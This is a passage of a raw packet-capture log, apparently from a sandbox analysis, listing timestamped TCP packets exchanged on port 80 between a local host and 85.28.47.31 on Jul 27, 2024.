Jul 27, 2024 12:01:09.266300917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.266329050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.266333103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.266359091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.266381979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.268769026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.268826008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.268915892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.268945932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.268976927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.269005060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.269083977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.269117117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.269149065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.269149065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.269181013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.269181013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.269203901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.269213915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.269231081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.269251108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.269262075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.269283056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.269301891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.269316912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.269334078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.269351006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.269367933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.269401073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.269504070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.269535065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.269562006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.269581079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.269653082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.269710064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.270322084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.270354033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.270385981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.270385981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.270421982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.270450115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.270482063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.270514965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.270543098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.270562887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.270648956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.270682096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.270709038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.270737886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.270982027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.271043062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.271131992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.271194935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.271493912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.271526098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.271559000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.271559954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.271584988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.271610022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.271651983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.271713018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.271846056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.271878004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.271907091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.271910906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.271938086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.271944046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.271951914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.272000074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.272017002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.272053957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.272072077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.272104025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.272161007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.272195101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.272221088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.272224903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.272250891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.272270918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.339895964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.339979887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.339996099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.340019941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.340060949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.340074062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.340082884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.340107918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.340137005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.340142965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.340159893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.340195894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.340300083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.340351105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.342323065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.342392921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.342447996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.342499018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.342509031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.342533112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.342561007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.342566013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.342583895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.342600107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.342616081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.342633963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.342660904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.342684031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.342969894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.343005896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.343036890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.343039989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.343069077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.343072891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.343087912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.343106031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.343136072 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.343138933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.343167067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.343172073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.343189001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.343229055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.344331026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.344392061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.344465017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.344530106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.344672918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.344710112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.344738007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.344743967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.344779015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.344789028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.344813108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.344816923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.344840050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.344867945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.345033884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.345084906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.345098019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.345118046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.345146894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.345169067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.345186949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.345237970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.345242023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.345272064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.345298052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.345320940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.345381021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.345428944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.345463037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.345480919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.346105099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.346165895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.346168995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.346200943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.346220016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.346256971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.346312046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.346345901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.346374989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.346379042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.346395016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.346434116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.346462011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.346489906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.346512079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.346544981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.346983910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.347047091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.347115993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.347148895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.347177982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.347186089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.347206116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.347219944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.347238064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.347254992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.347282887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.347290993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.347301960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.347346067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.347908974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.347971916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.347997904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.348031998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.348058939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.348089933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.348143101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.348176003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.348206043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.348210096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.348227978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.348263979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.348289967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.348323107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.348340034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.348364115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.348371983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.348417044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.348443031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.348478079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.348519087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.348542929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.348555088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.348576069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.348594904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.348609924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.348625898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.348638058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.348658085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.348690987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.351314068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.351378918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.351389885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.351423979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.351454973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.351474047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.351505041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.351537943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.351566076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.351571083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.351591110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.351605892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.351623058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.351655960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.362474918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.362543106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.362561941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.362579107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.362607956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.362626076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.362673998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.362737894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.362745047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.362778902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.362804890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.362813950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.362828970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.362863064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.363095999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.363130093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.363163948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.363163948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.363182068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.363202095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:09.363214970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.363255978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.748681068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:09.753869057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:10.729485989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:10.729682922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:10.848505020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:10.857435942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:11.566941023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:11.567115068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:12.236141920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:12.241221905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:12.792917013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:12.793064117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.234724045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.242609978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.420826912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.420856953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.420875072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.420913935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.420977116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.421020985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.421056032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.421066999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.421072006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.421101093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.421155930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.421279907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.421304941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.421323061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.421329975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.421339989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.421355009 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.421374083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.421387911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.421536922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.421552896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.421569109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.421597958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.421627045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.507580042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.507621050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.507656097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.507668018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.507677078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.507687092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.507710934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.507725954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.507843018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.507858992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.507875919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.507880926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.507913113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.507913113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.508078098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.508095980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.508126020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.508152008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.508240938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.508264065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.508280039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.508295059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.508295059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.508311987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.508322001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.508322001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.508330107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.508347034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.508347988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.508371115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.508822918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.508838892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.508855104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.508868933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.508869886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.508886099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.508888006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.508903980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.508912086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.508913040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.508919954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.508934975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.508936882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.508951902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.508958101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.508958101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.508965969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.508984089 CEST	49704	80	192.168.2.5	85.28.47.31
